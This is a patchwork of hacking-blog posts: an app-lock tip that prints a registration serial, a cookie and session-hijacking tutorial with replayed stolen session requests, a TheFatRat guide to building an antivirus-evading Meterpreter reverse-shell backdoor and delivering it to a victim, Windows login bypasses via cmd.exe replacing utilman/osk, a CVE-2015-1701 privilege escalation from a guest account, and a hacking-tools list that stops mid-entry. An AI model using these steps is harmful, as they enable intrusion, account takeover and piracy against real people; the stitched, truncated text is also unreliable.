How to set password to any application in PC - App Lock for PC

Hello friends,I am going to tell you a trick to make your installed PC software's password protected. It means whenever anyone open any software installed in your PC then he/she will be asked for a password if he/she does not know the password then they can not use the software.

There are two easy ways:  1st one is a shareware program. And 2nd one is a freeware program


1]:
STEP 1: Download Password Door and install it in your PC.

STEP 2: After installing it in your PC, open the app and navigate to the app that which you want to password protect.
STEP 3:  Now enter the PC password to it when it prompted. That's all. now when ever any user wants to open the selected app in your PC, it will prompt for the password.

Note: Even the app cannot be uninstalled from your PC without knowing the password to play any trick.

STEP 1:  Download the simple program and keep it some where in your PC.

STEP 2: Now open Empathy.exe after extracting zip file and navigate and click on  a program to protect.
STEP 3: Now you will see programs installed in windows and on which you can set password. Select the program from the list and make it password protect.

Note: Keep the software Empathy in a safe place. Unregistered version only allows you to use single character passwords. To register your copy, hold the Shift key on your keyboard and press the Help button. In the registration window that will show, enter the following information. Empathy does not support 64-bit EXE files, but can be used to protect 32-bit EXE files running on 64-bit operating systems.

Name: Registered User
Serial number: A1CA013839CDB4

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Beginner Guide to Understand Cookies and Session Management

From Wikipedia and w3schools

Cookie

Cookie is a small piece of data sent by a server to a browser and stored on the user’s computer while the user is browsing. Cookies are produced and shared between the browser and the server using the HTTP Header.

It Allows server store and retrieve data from the client, It Stored in a file on the client side and maximum size of cookie that can stored is limited upto 4K in any web browser. Cookies have short time period because they have expiry date and time as soon as browser closed.

Example- when you visit YouTube and search for Bollywood songs, this gets noted in your browsing history, the next time you open YouTube on your browser, the cookies reads your browsing history and you will be shown Bollywood songs on your YouTube homepage

Creating cookie

The setcookie() function is used for the cookie to be sent along with the rest of the HTTP headers.

When developer creates a cookie, with the function setcookie, he must specify atleast three arguments. These arguments are setcookie(name, value, expiration);

Image Source Goolge

Cookie Attributes

1. Name: Specifies the name of the cookie
2. Value: Specifies the value of the cookie
3. Secure: Specifies whether or not the cookie should only be transmitted over a secure HTTPS connection. TRUE indicates that the cookie will only be set if a secure connection exists. Default is FALSE
4. Domain: Specifies the domain name of the cookie. To make the cookie available on all subdomains of example.com, set domain to “example.com”. Setting it to www.example.com will make the cookie only available in the www subdomain
5. Path: Specifies the server path of the cookie. If set to “/”, the cookie will be available within the entire domain. If set to “/php/”, the cookie will only be available within the php directory and all sub-directories of php. The default value is the current directory that the cookie is being set in
6. HTTPOnly: If set to TRUE the cookie will be accessible only through the HTTP protocol (the cookie will not be accessible by scripting languages). This setting can help to reduce identity theft through XSS attacks. Default is FALSE
7. Expires: Specifies when the cookie expires. The value: time ()+86400*30, will set the cookie to expire in 30 days. If this parameter is omitted or set to 0, the cookie will expire at the end of the session (when the browser closes). Default is 0

Necessity of Cookies

Cookies can be used for various purposes –

• Identifying Unique Visitors.
• Http is a stateless protocol; cookies permit us to track the state of the application using small files stored on the user’s computer.
• Recording the time each user spends on a website.

Type of cookies

Session Cookie

This type of cookies dies when the browser is closed because they are stored in browser’s memory. They’re used for e-commerce websites so user can continue browsing without losing what he put in his cart. If the user visits the website again after closing the browser these cookies will not be available. It is safer, because no developer other than the browser can access them.

Persistent Cookie

These cookies do not depend on the browser session because they are stored in a file of browser computer. If the user closes the browser and then access the website again then these cookies will still be available. The lifetime of these cookies are specified in cookies itself (as expiration time). They are less secure.

Third Party Cookie

A cookie set by a domain name that is not the domain name that appears in the browser address bar these cookies are mainly used for tracking user browsing patterns and/or finding the Advertisement recommendations for the user.

Secure Cookie

A secure cookie can only be transmitted over an encrypted connection.  A cookie is made secure by adding the secure flag to the cookie. Browsers which support the secure flag will only send cookies with the secure flag when the request is going to a HTTPS page.

HTTP Only Cookie

It informs the browser that this particular cookie should only be accessed by the server. Any attempt to access the cookie from client script is strictly prohibited. This is an important security protection for session cookies.

Zombies Cookie

A zombie cookie is an HTTP cookie that is recreated after deletion. Cookies are recreated from backups stored outside the web browser’s dedicated cookie storage.

Sessions

PHP session: when any user made any changes in web application like sign in or out, the server does not know who that person on the system is. To shoot this problem PHP session introduce which store user information to be used across several web pages.

Session variables hold information about one single user, and are exist to all pages in one application.

Example: login ID user name and password.

Session ID

PHP code generates a unique identification in the form of hash for that specific session which is a random string of 32 hexadecimal numbers such as 5f7dok65iif989fwrmn88er47gk834 is known as PHPsessionID.

A session ID or token is a unique number which is used to identify a user that has logged into a website. Session ID is stored inside server, it is assigns to a specific user for the duration of that user’s visit (session). The session ID can be stored as a cookie, form field, or URL.

Explanation:

Now let’s have a look over this picture and see what this picture says:

In given picture we can clearly see there are three components inside it: HTTP Client, HTTP server and Database(holding session ID).

Step1: client send request to server via POST or GET.

Step2: session Id created on web server. Server save session ID into database and using set-cookie function send session ID to the client browser as response.

Step3: cookie with session ID stored on client browser is send back to server where server matches it from database and sends response as HTTP 200 OK.

Image Source: Google Images

Session hijacking

As we know different users have unique session ID when an attacker sniff the session via man-in-middle attack or via XSS and steal session ID or session token this is called session hijacking. When attacker sends the stealing session ID to web server, server match that ID from database stored session ID. If they both matched to each other then the server reply with HTTP 200 OK and attacker get successfully access without submitting proper Identification.

Example 1: Using the session cookies issued to the user by the server.

For example, on any website an official user logged-in, and the server has generate a session cookie SESSION-TOKEN for that user. If the SESSION-TOKEN is the cookie which recognized the session of that user, the attacker can steal the SESSION-TOKEN cookie value to login as the legitimate user. The attacker can perform a cross-site scripting or other technique to steal the cookie from the victim’s browser.

Let’s suppose the attacker steals the cookie PHPSESSID=user-raj-logged-in-2341785645. Now, he can use the cookie with the following request to post a status (HACKED!!!!!!) in the victim’s home page:

 POST /home/post_status.php HTTP/1.1

Host: www.Facebook.com

Cookie: PHPSESSID=user-raj-logged-in-2341785645

Content-Length:38

Content-Type:application/x-www-form-urlencoded

 Status= HACKED!!!!!&Submit=submit

The attacker uses the cookie subjected to the authorized user, and gains control on the user’s session.

Example 2: Guessing the cookie values of users if a complicated algorithm is not used for the cookie generation.

For example, consider a website uses an algorithm to generate cookies for the users. If the user name is “raj”, then the cookie generated for the user could be “LOGINID=-772017- qszbik”. In this case, the algorithm used to generate the cookie can be as follows:

First part of the cookie is the date i.e. 7/7/2017 and second part is the arrangement of the previous and next alphabet letter for each letter of the username “John” (i.e., the previous letter for r is “q” and the following letter is “s”). If the attacker is able to break the algorithm, he might estimate the cookie of users and hack their session.

  r=qs

  a=zb

  j=ik

If the attacker decide to hack the session of admin, he can make a cookie as LOGINID =772017- zbcelnhjmo, login to raj’s session and post a status on his account.

Host: www.facebook.com

Cookie:LOGINID =772017- zbcelnhjmo

Content-Length:45

Content-Type:application/x-www-form-urlencoded

 Todays_status=I am hacked!!!!!!&Submit=submit

Session hijacking tutorial

For this tutorial I have targeted DVWA, here cookie name is dvwa Session.

Note: session ID for this page will change every time when we will close the browser.

Now capture the browser request using burp suite.

From given image we can see the cookie holds PHPSESSID P38kq30vi6arr0b321p2uv86k0; now send this intercepted data into repeater to observe its response.

In response you can see the highlighted data show set –cookie: dvwaSession =1 more over HTTP 200 OK response from server side.

According to developer each time a new sessionID will generate by server each time, but attacker sniff this session ID P38kq30vi6arr0b321p2uv86k0 for unauthorized login.

Next time we receive another session id when data is intercepted through burp suite i.e. PHPSESSID= gutnu601knp4qsrgfdb4ad0te3, again send this intercepted data into repeater to observe its response.

But before we perceive its response, replace new PHPSESSID from old PHPSESSID.

From given image you can observe we have replaced the SESSION ID and then generate its response in which set –cookie: dvwaSession =6 and HTTP 200 OK response from server side.  

Now change the value inside intercepted data and then forward this request to the server.

Session Vs cookies

Session	Cookies
Data are stored on Server	Data are stored in Client’s Browser
Sessions Data are more secure because they never travel on every HTTPRequest	Travel with each and Every HTTP request
You can store Objects (Store Large Amount of Data)	You can store strings type (Max File Size 4 kb)
Session Cannot be used for Future Reference	Cookies are mostly used for future reference

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Hack Remote Windows 10 PC using TheFatRat

TheFatRat is an easy tool for generate backdoor with msfvenom ( part of metasploit framework ) and program compiles a C program with a meterpreter reverse_tcp payload In it that can then be executed on a windows host Program to create a C program after it is compiled that will bypass most AV

First, to install thefatrat we type the following command on terminal:

git clone https://github.com/Screetsec/TheFatRat.git

Once the cloning is done, go to the installed directory of fatrat and open it in terminal and type the following command to start it:

 ./fatrat

It will show you many options now select option 1 which is to CREATE BACKDOOR WITH MSFVENOM.

Now it will give a list of options to choose the format of the backdoor which you have to choose as per your requirements and need. To create a windows executable as a backdoor choose option 2.

Now enter the LHOST IP i.e. your system IP and LPORT i.e. the port you want the reverse connection on your i.e. attacker system. In my case the LHOST is 192.168.0.104 and LPORT is 4444.

And then exit the script by selecting y when asked

Now the generated backdoor will be present in the output directory.

Now use any trick up your sleeve to transport the backdoor to the victim and set up reverse handler on metasploit with the following commands on the msf terminal-

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.0.104 (the attacker system IP)

set lport 4444

exploit

Now as soon as the backdoor is executed on the victim’s machine you will get a meterpreter shell as you can see in my case.

For More Details Visit here

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2 Ways to Hack Windows 10 Password Easy Way

Start your computer and enter into Bios Setup. Change your boot preferences to boot from CD /DVD. Click on Next

Now select the “Repair your computer” option from the lower left-hand corner.

Then click on Troubleshoot option.

Then click on advanced options.

Now click on command prompt

Then you’ll copy the command prompt executable (cmd.exe) over top of the On Screen keyboard executable

Copy d:\windows\system\32\cmd.exe d:\windows\system32\osk.exe

Now you can reboot the PC.

Resetting the Password

Once you get to the login screen, click on On-Screen Keyboard, and you’ll see an administrator mode command prompt.

Now to reset the password—just type the following command, replacing the username and password with the combination you want:

Syntax : net user account.name *

Example: net user raj * and hit enter. Set any password for that account.

Second Method

Start your computer and enter into Bios Setup. Change your boot preferences to boot from CD /DVD. Click on Next

Press SHIFT + F10 to open a command prompt

Then you’ll copy the command prompt executable (cmd.exe) over top of utility manager executable

Copy d:\windows\system\32\cmd.exe d:\windows\system32\utilman.exe

Now you can reboot the PC.

On the Windows 10 sign-in page, click the Utility Manager icon

Now to reset the password—just type the following command, replacing the username and password with the combination you want:

Syntax : net user account.name *

Example: net user raj * and hit enter. Set any password for that account.

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Hack Windows 7 Password from Guest Account

Now here type net user command to change the admin password but it will show you the error “Access is denied”

Download CVE 2015-1701 from here and unzip in your Pc. Then go to the compiled folder in CVE Master. Here you will find 2 exe files for 32-bit user and 64-bit user(in my case I’m using 64-bit user).

Now run Taihou64.exe, it will open a command prompt with admin priveleges. Now you can change the password using net user command. Example is given below:

Syntax:

net user (username) *   then press enter

Note: This trick works only on Windows7(all versions) not available for Windows8 and Windows10 ye

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100+ Free Hacking Tools To Become Powerful Hacker

Wondering which software is used for hacking? What is the best software for hacking password? We have created a list of useful hacking tools and software that will help you do you job much easier.

Ethical hacking and online security involve a lot of efforts. Many tools are used to test and keep software secure. The same tools can also be used by hackers for exploitation. Becoming a hacker is not easy it requires many skills. You can learn a few hacking tricks from free hacking tutorials online, some really cool hacking books and books on information security . However, Along with all the skills, you need to have best tools to perform hacking, security threat analysis and penetration testing.

A hacking tool is a computer program or software which helps a hacker to hack a computer system or a computer program. The existences of hacking tools have made the lives of the hackers much simpler when compared to the times they did not exist. But it does not mean that if the Hacker is equipped with a good hacking tool, his entire job is smoothly done. The hacker still requires the skills of all the aspects of hacking equally well.

Password Cracker Software

A password cracker software, which is often referred to as a password recovery tool, can be used to crack or recover the password either by removing the original password, after bypassing the data encryption or by an outright discovery of the password. In the process of password cracking, a very common methodology used to crack the user password is to repeatedly make guesses for the probable password and perhaps finally hitting on the correct one. It cannot be denied that whenever we are referring to cyber security, passwords are the most vulnerable security links. On the other hand, if the password is too completed, the user might forget it. Password Cracker software are often used by the hackers to crack the password and access a system to manipulate it. Do not unethically use this software for hacking passwords.

In the next section you would be getting familiar with some of the popular Password Cracker tools which are used by hackers for password cracking.

Hashcrack

Hashcrack is password cracker for GPU(s) and CPU(s) using OpenCL. It can run on NVDIA and AMD devices. It is a very powerful password cracking tool that is also well documented.

Ophcrack

It is a free password cracker software which is based on the effective implementation of the rainbow tables. It runs on a number of Operating Systems like Mac OS X, Unix/Linux and Windows Operating System. It is equipped with real-time graphs for analyzing the passwords and is an open source software. Ophcrack has the capability to crack both NTLM hashes as well as LM hashes.

Medusa

Medusa is one of the best online brute-force, speedy, parallel password crackers which is available on the Internet. It has been designed by the members of the website foofus.net. It is also widely used in Penetration testing to ensure that the vulnerability of the system can be exposed and appropriate security measures can be taken against hacking.

RainbowCrack

Rainbow Crack as the name suggests, is a cracker for hashes with the Rainbow Tables. It runs on multiple operating systems such as Linux, Windows Vista, Windows XP (Windows Operating Systems). It supports both Graphical User Interface as well as Command line Interface. It's software which is used for password cracking by generating rainbow tables, fuzzing all the parameters.

Wfuzz

Wfuzz is a flexible tool for brute forcing Internet-based applications. It supports many features like Multithreading, Header brute forcing, Recursion when discovering directories, Cookies, Proxy Support, hiding results and encoding the URLs to name a few. Wfuzz is a useful tool for finding unlinked resources like scripts, directories, and servlets as well.

Brutus

Brutus is one of the most flexible and free password crackers which operates remotely. It is popular also because of its high speed and operates under operating systems such as Windows 2000, Windows NT and Windows 9x. Currently, it does not operate under the UNIX operating system. Brutus was initially designed to check network devices like routers for common as well as default passwords.

L0phtCrack

L0phtCrack which is now known as L0phtCrack6 is a tool which tests the strength of a password given, as well as to recover lost passwords on Microsoft Windows platform. Thus it is a tool for both password recovery as well as auditing the password. It uses techniques such as Rainbow tables, brute-force, and dictionary to recover passwords.

Fgdump

Fgdump is a powerful cracking tool. In fact, it's much more powerful than pwdump6 as the latter has the tendency to hang whenever there is a presence of an antivirus. Fgdump has the capability to handle this problem of hanging by shutting down first. It later restarts the Antivirus software. It supports multi-threading which is very relevant in the multitasking and multi-user environment.

THC Hydra

Every password security study has revealed that the biggest security weaknesses are the passwords. THC Hydra is a tool for cracking logins and it is flexible as it supports various protocols. It is very fast and at the same time, new modules can be easily added. Hydra can run on operating systems like Solaris 11, OSX, Windows, and Linux.

John The Ripper

John the Ripper is a free software for password cracking which was originally designed for the Unix Operating System. At present, it can run on 15 Operating systems which include 11 different versions of UNIX, Win32, DOS, and BeOS. It has the capability to combine several password crackers into a single package which has made it one of the most popular cracking tools for hackers.

Aircrack

It is a network software suite used in 802.11 Wireless Local Area Networks. It consists of tools such as a packet sniffer, detector, and a WEP. This tool runs on both Windows and Linux Operating systems. It can work with any type of wireless network interface controller, provided the driver is supporting the raw monitoring mode.

Cain And Abel

Cain and Abel, often referred to as Cain, is a tool for recovering the password in the Windows platform. It has the capability to recover various kinds of passwords using techniques such as cracking the password hashes by using brute-forcing, dictionary attacks, cryptanalysis attacks and packet sniffing in the network.

IKECrack

The objective of this security tool is to locate the valid user identities in a Virtual Public Network along with the secret key combinations. Once this is accomplished, this information can be used easily by a hacker to have access to a VPN in an unauthorized manner

Wireless Hacking Tools

Wireless Hacking Tools are those hacking tools which are used to hack into a wireless network which is usually more susceptible to security threats. One must also ensure that the network is completely secured against hacking or other malware. The list of wireless hacking tools which would be discussed now can be used to do a Penetration Testing for a Wireless Network. This is an intentional attack on a network to detect security vulnerabilities by accessing its data and functionality.

Aircrack-ng

It is a software suite specially designed for a wireless network and which operates under both the Windows and the Linux Operating System. Aircrack-ng consists of a packet sniffer, WPA cracker, and analysis tool and a detector for the wireless Local Area Networks (802.11). The best part of this software suit is one need not install it to use it. It is a collection of files which can be easily used with a command prompt.

There have been many wireless hacking tools exposed in recent past. When a hacker hacks a wireless network, it is supposed to defeat the Wireless network’s security devices. The Wi-Fi networks i.e. the Wireless LANs are more exposed to the security threats from a hacker while compared to that of a wired network. While hackers are always more than ready to hack especially if there are weaknesses in a computer network, hacking is often a tedious and complicated procedure.

Kismet

Kismet is a wireless detector system which detects possible intrusion to an 802.11 layer2 wireless network, it is also a sniffer. There is certain plug-in supported by Kismet which enables sniffing media like DECT. It also has the capacity to infer whether a nonbeaconing network is present or not via the data traffic in the network and a network is identified by this tool by collecting data packets passively, detecting hidden and standard named networks.

InSSIDer

InSSIDer is a network scanner which is used in a Wi-Fi network for the Windows Operating System as well as the Apple OS X. It has been developed by MetaGeek, LLC. It is used to collect information from both software and a wireless card and is useful in selecting the availability of the best wireless channel. It also shows those Wi-Fi network channels which overlap with each other.

KisMAC

It is a discovery tool for a wireless network for the Mac OS X operating system. It has many features which are similar to another wireless detector tool called Kismet. This tool is meant for expert network security personnel and is not very user-friendly for the beginners

NetStumbler

NetStumbler is a hacking tool which is used in the Windows Operating system and comes with add-ons which are used to hack a wireless network. It has the capability to convert a WIFI enabled laptop on Windows OS into a network detector in an 802.11 WLAN.

WepLab

The WebLab is a tool which teaches about the weaknesses of a WEP, how a WEP works and how it is used to break a wireless network which is WEP protected. It has the features of a WEP Security Analyzer.

Airjack

It is a powerful tool for packet injection in an 802.11 wireless network and is very useful as it has the capability to send in forged de-authentication packets. This feature is usually used by a hacker to bring down a network.

Firesheep

In order to log into a website, a user has submitted details like his or her username and password. The server validates these data and sends back a “cookie”. The websites usually encrypt the password, however, does not encrypt other details which leave the cookie exposed to hacking threats which are also known as HTTP session hijacking. Firesheep has a packet sniffer which can intercept the cookies which are encrypted from Social Media sites like Twitter and Facebook and comes with the Firefox web browser. Firesheep is available for both the Windows and Mac OS X operating system. It would also run on the Linux platform in the new future.

KARMA

KARMA is an attack tool which takes the advantage of the probing techniques that is used by used by a client of a WLAN. The station searches for a Wireless LAN in the list of preferred network and it is then that it makes the SSID open for an attacker who is listening. The disclosed SSID is used by KARMA for impersonation of a valid WLAN and attracts the station to the listening attacker.

Best Network Scanning & Hacking Tools

Nmap

Nmap or Network Mapper is a free open source utility tool for network discovery and security auditing solution for you. It is a flexible, powerful, portable and easy-to-use tool that is supported by most of the operating systems like Linux, Windows, Solaris, Mac OS and others.

SuperScan

It is a multi-functional application that is designed for scanning TPC port. This is also a pinger and address resolver. It also has useful features like ping, traceroute, WhoIs and HTTP request. There is no need of installation as it is a portable application.

Angry IP Scanner

It is a fast port and IP address scanner. It is a lightweight and cross-platform application that has the capacity to scan the IP addresses in any range and also in their ports. It simply pings each IP address.

Packet Crafting To Exploit Firewall Weaknesses

Through Packet crafting technique, an attacker capitalizes your firewall’s vulnerabilities. Here are some packet crafting tools

Hping

Earlier Hping was used as a security tool. Now it is used as a command-line oriented TCP/IP packet analyzer or assembler. You can use this for Firewall testing, advanced port scanning, network testing by using fragmentation, TOS, and different other protocols.

Scapy

It is a powerful and interactive packet manipulation program. Scapy has the capability to decode or forge the packets of a large number of protocols at a time. One of the best features is that it can confuse the process of decoding and interpreting.

Netcat

Netcat is a simple Unix utility program. This program has the capability to read and write data across network connections and it does so by using UDP or TPC protocol. It was created as a reliable back-end tool.

Nemesis

It is a command-line crafting and injecting utility tool used for network packets. This program works for both Unix and Windows operating systems. This is a well-suited tool for testing Network, Intrusion Detection System, IP Stacks, Firewalls and many others

Socat

This is again a command-line based utility tool. It has the capability to establish a two bidirectional byte streams through which it transfers data. In this tool streams can be constructed from a large set of different data sinks.

Yersinia

Not all the network protocols are powerful. In order to take advantage of the weakness of certain network protocols, Yersinia is created. It is a full-proof framework that analyzes and tests the deployed networks and systems.

Traffic Monitoring for Network Related Hacking

These tools allow users to monitor the websites one’s children or employees are viewing. Here’s a list of some of these tools

Splunk

If you want to convert your data into powerful insights Splunk tools are the best options for you. The Splunk tools are the leading platforms for operational intelligence. It can collect any type of data from any machine in real time.

Nagios

Nagios is the name for the industry standard in monitoring IT infrastructure. The Nagios tools help you monitor your entire IT infrastructure and have the capability to detect problems well ahead they occur. It can also detect security breaches and share data availability with stakeholders.

P0f

It is a versatile passive tool that is used for OS fingerprinting. This passive tool works well in both Linux and Windows operating systems. It has the capability to detect the hooking up of the remote system whether it is Ethernet, DSL or OC3.

Ngrep

Ngrep or network grep is a pcap-aware tool that allows you to extend hexadecimal or regular expressions in order to match it against the data loads of the packet. It can recognize IPv4/6, UDP, TCP, Ethernet, SLIP, PPP, FDDI and many others.

Packet Sniffers To Analyze Traffic

These tools help capture and analyze incoming traffic on your website. Some of the popular ones are listed below

Wireshark

If you want to put a security system, Wireshark is the must-have security tool. It monitors every single byte of the data that is transferred via the network system. If you are a network administrator or penetration tester this tool is a must have.

Tcpdump

Tcpdump is a command-line packet analyzer. After completing the designated task of packet capturing Tcpdump will throw the report that will contain numbers of captured packet and packets received by the filter. The user can use flags like –v, -r and –w to run this packet analyzer tool.

Ettercap

It is a comprehensive suite in the middle of the attack. It has the feature of sniffing the live connections and content filtering along with many other interesting tricks. It offers three interfaces, traditional command line, GUI, and Ncurses.

Dsniff

Dsniff is the collection of various tools that are used for penetration testing and network auditing. The tools like dsniff, msgsnarf, mailsnarf, webspy and urlsnarf passively monitor a network of interesting data like files, emails, passwords and many others.

EtherApe

EtherApe is graphical network monitor for UNIX model PCs after etherman. This interactive tool graphically displays network activity. It features link layer and TCP/IP modes. It supports Token Ring, FDDI, Ethernet, PPP, SLIP, ISDN and other WLAN devices.

Web Proxies: Proxies fundamentally assist in adding encapsulation to distributed systems. The client can request an item on your server by contacting a proxy server.

Paros

It is a Java-based HTTP/HTTPS proxy that helps in assessing the vulnerability of web applications. It supports both viewing and editing HTTP messages on-the-fly. It is supported by Unix and Windows systems. There are some other features as well like client certificate, spiders, proxy chaining and many others.

Fiddler

It is free web debugging proxy tool that can be used for any browser, platforms or systems. The key features of this tool include performance testing, HTTP/HTTPS traffic recording, web session manipulation and security testing.

Ratproxy

A passive and semi-automated application which is essentially a security audit tool. It can accurately detect and annotate problems in web 2.0 platforms.

Sslstrip

This tool is the one that demonstrates HTTPS stripping attack. It has the capability to hijack HTTP traffic on the network in a transparent manner. It watches the HTTPS link and then redirect and maps those links into homograph-similar or look-alike HTTP links.

SSL/TLS Security Test By High-Tech Bridge

This free online service performs a detailed security analysis and configuration test of SSL/TLS implementation on any web server for compliance with NIST guidelines and PCI DSS requirements, as well as for various industry best-practices.

Rootkit Detectors To Hack File System

This is a directory and file integrity checker. It checks the veracity of files and notifies the user if there’s an issue.

AIDE (Advanced Intrusion Detection Environment)

It is a directory and file integrity checker that helps in creating a database using the regular expression rules that it finds from the config files. This tool also supports message digest algorithms and file attributes like File type, Permissions, Inode, Uid, Gid, and others.

Firewalls: Firewalls monitor and control network traffic. A firewall is the quintessential security tool used by novices and tech experts alike. Here are a few of the best ones for hackers:

Netfilter

Netfilter offers software for the packet filtering framework that works within the Linux 2.4.x and later series of the kernel. The software of Netfilter help in packet mangling including packet filtering along with network address and port translation.

PF: OpenBSD Packet Filter

It is an OpenBSD system that enables filtering of TCP/IP traffic and also performs Network Address Translation. It also helps in conditioning and normalizing of TCP/IP traffic along with packet prioritization and bandwidth control.

Fuzzers To Search Vulnerabilities

Fuzzing is a term used by hackers for searching a computer system’s security vulnerabilities. Here is a list of a few:

Skipfish

It's a reconnaissance web application security tool. Some of its features are dictionary-based probes and recursive crawls. A website's sitemap is eventually annotated for security assessments.

Wfuzz

This tool is designed in such a way that it helps in brute-forcing web applications. Wfuzz can be used for finding resources but it does not play any role in finding the links to directories, servlets, scripts and others. It has multiple injection points and allows multi-threading.

Wapiti

Wapiti is a web application vulnerability scanner that allows you to audit the security of the web applications that you are using. The scanning process is “black-box” type and detects the vulnerabilities like file disclosure, data injection, XSS injection, and many others.

W3af

It is a web application attack and audit framework that helps in auditing any threat that the web application experiences. This framework is built on Python and is easy-to-use and can be extended. It is licensed under GPLv2.0.

Forensics

These tools are used for computer forensics, especially to sniff out any trace of evidence existing in a particular computer system. Here are some of the most popular.

Sleuth Kit

It is an open source digital intervention or forensic toolkit. It runs on varied operating systems including Windows, Linux, OS X and many other Unix systems. It can be used for analyzing disk images along with in-depth analysis of file systems like FAT, Ext3, HFS+, UFS and NTFS.

Helix

This is a Linux based incident response system. It is also used in system investigation and analysis along with data recovery and security auditing. The most recent version of this tool is based on Ubuntu that promises ease of use and stability.

Maltego

It is an open source forensic and intelligence application. It can be used for gathering information in all phases of security related work. It saves you time and money by performing the task on time in a smarter way.

Encase

Encase is the fastest and most comprehensive network forensic solution available in the market. It is created following the global standard of forensic investigation software. It has the capability of quickly gathering data from a wide variety of devices.

Debuggers To Hack Running Programs

These tools are utilized for reverse engineering binary files for writing exploits and analyzing malware.

GDB

GDB is a GNU Project debugger. The unique feature of this debugger enables the user to see what is happening inside one program while it is being executed or check a program at the moment of the crash.

Immunity Debugger

It's a powerful debugger for analyzing malware. Its unique features include an advanced user interface with heap analysis tool and function graphing.

Other Hacking Tools: Besides the aforementioned tools, there is myriad of hacking tools used by hackers. They don’t belong to a particular category, but are very popular among hackers nonetheless:

Netcat

It is a featured network utility tool. It has the capability to read and write data across all network connections that uses TCP/IP protocol. It is a reliable back-end tool that can be easily and directly driven by other scripts and programs.

Traceroute

It is a tracert or IP tracking tool that displays the path of internet packets through which it traversed to reach the specific destination. It identifies the IP address of each hop along the way it reaches the destination.

Ping.eu

It is the tracing tool that helps the user to know the time that the data packets took to reach the host. This is an online application where you just need to place the host name or IP address and fetch the result.

Dig

It is a complete searching and indexing system that is used for a domain or internet. It works on both Linux and Windows system. It, however, does not replace the internet-wide search systems like Google, Infoseek, AltaVista and Lycos.

CURL

It is a free and open source software command-line tool that transfers data with URL syntax. It supports HTTP/HTTPS, Gopher, FTPS, LDAP, POP3 and many others. It can run under a wide variety of operating systems. The recent stable version is v7.37.1.

Hacking Operating Systems

There are numerous professionals who aspire to have a career as ethical hackers. Hacking is not an easy task as it requires great insight about technology and programming. There are specific operating systems as well that are specially designed for the hackers to use. These operating systems have preloaded tools and technologies that hackers can utilize to hack. This article offers a detailed overview of various operating systems that are built keeping hacking in mind. All these operating systems are unique from each other and have proved to be a great resource for the hackers around the world.

Backtrack 5r3

This operating system is built keeping the savviest security personnel in mind as the audience. This is also a useful tool even for the early newcomers in the information security field. It offers a quick and easy way to find and also update the largest database available for the security tools collection till date.

Kali Linux

This is a creation of the makers of BackTrack. This is regarded as the most versatile and advanced penetration testing distribution ever created. The documentation of the software is built in an easy format to make it the most user-friendly. It is one of the must-have tools for ethical hackers that is making a buzz in the market.

SELinux

Security Enhanced Linux or SELinux is an upstream repository that is used for various userland tools and libraries. There are various capabilities like policy compilation, policy management and policy development which are incorporated in this utility tool along with SELinux services and utilities. The user can get the software as a tested release or from the development repository.

Knoppix

The website of Knoppix offers a free open source live Linux CD. The CD and DVD that is available contain the latest and recent updated Linux software along with desktop environments. This is one of the best tools for the beginners and includes programs like OpenOffice.org, Mozilla, Konqueror, Apache, MySQL and PHP.

BackBox Linux

It is a Linux distribution that is based on Ubuntu. If you want to perform security assessment and penetration tests, this software is the one that you should have in your repository. It proactively protects the IT infrastructure. It has the capability to simplify the complexity of your IT infrastructure with ease as well.

Pentoo

It is security focused live CD that is created based on Gentoo. It has a large number of customized tools and kernels including a hardened kernel consisting of aufs patches. It can backport Wi-Fi stack from the latest kernel release that is stable as well. There are development tools in Pentoo that have Cuda/OPENCL cracking.

Matriux Krypton

If you are looking for a distro to be used in penetration testing and cyber forensic investigation, then Matriux Krypton is the name that you can trust. This is a Debian based GNU/Linux security distribution. It has more than 340 powerful tools for penetration testing and forensics; additionally, it contains custom kernel 3.9.4.

NodeZero

This is regarded as the specialist tool that is specifically designed for security auditing and penetration testing. It is a reliable, stable and powerful tool to be used for this purpose and is based on the current Ubuntu Linux distribution. It is a free and open source system that you can download from the website.

Blackbuntu

It is free and open source penetration testing distribution available over the internet. It is based on Ubuntu 10.10, which is designed specifically for the information security training students and professional. It is fast and stable yet a powerful tool that works perfectly for you. This software is a recommendation from most of the users.

Blackbuntu

It is free and open source penetration testing distribution available over the internet. It is based on Ubuntu 10.10, which is designed specifically for information security, training students and professionals. It is fast and stable, yet a powerful tool that works perfectly for you. This software is a recommendation from most of the users.

Samurai Web Testing Framework

It is a live Linux environment that is designed in such a way that it functions as a web pen testing environment. The software CD contains tools and programs that are open source and free. The tool selection is based on the ones that the company themselves use for security of their IT infrastructure.

WEAKERTH4N

It's a great pen testing distro comprising of some innovative pen testing tools. The software uses Fluxbox and is built using Debian Squeeze. One of its popular features is its ability to hack old Android based systems.

CAINE (Computer Aided Investigative Environment)

It is an Italian GNU/Linux live distribution list that was created as a project of Digital Forensic. It offers a complete forensic environment. This environment is organized in such a way that it integrates the existing software tools and software module and finally, throws the result in the form of friendly graphical interface.

Bugtraq

It is one of the most stable and comprehensive distributions. It offers stable and optimal functionalities with the stable manager in real-time. It is based upon 3.2 and 3.4 kernel Generic that is available in both 32 and 64 Bits. Bugtraq has a wide range of tools in various branches of the kernel. The features of the distribution vary as per your desktop environment

DEFT

DEFT is a distribution that is created for computer forensics. It can run in a live stream on the system without corrupting the device. The system is based on GNU/Linux and the user can run this live using CD/DVD or USB pen drive. DEFT is now paired with DART, which is a forensic system.

Helix

There are various versions of Helix released by e-fense that are useful for both home and business use. The Helix3 Enterprise is a cyber-security solution offered by this organization that provides an incident response. It throws live response and acquires volatile data. Helix3 Pro is the newest version in the block of Helix family products.

Encryption Tools

Times are changing and spying has become a common phenomenon everywhere. There have been increasing instances where even the governments have been found to be spying on their citizens from time to time. This is one of the prime reasons why the importance of Encryption has increased manifold. Encryption tools are very important because they keep the data safe by encrypting it so that even if someone accesses the data, they can’t get through the data unless they know how to decrypt the data. These tools use algorithm schemes to encode the data to prevent unauthorized access to the encrypted data.

Some of the popular Encryption Tools will be discussed in this article:-

TrueCrypt

TrueCrypt is open source encryption tool which can encrypt a partition in the Windows environment (except Windows 8); it’s equipped for creating a virtual encrypted disk in a file. Moreover, it has the capability to encrypt the complete storage device. TrueCrypt can run on different operating systems like Linux, Microsoft Windows, and OSX. TrueCrypt stores the encryption keys in the RAM of the computer.

OpenSSH

OpenSSH is the short name for Open Secure Shell and is a free software suite which is used to make your network connections secured. It uses the SSH protocol to provide encrypted communication sessions in a computer network. It was designed originally as an alternative to the Secure Shell Software developed by SSH Communications Security. The tool was designed as a part of the OpenBSD project.

PuTTY

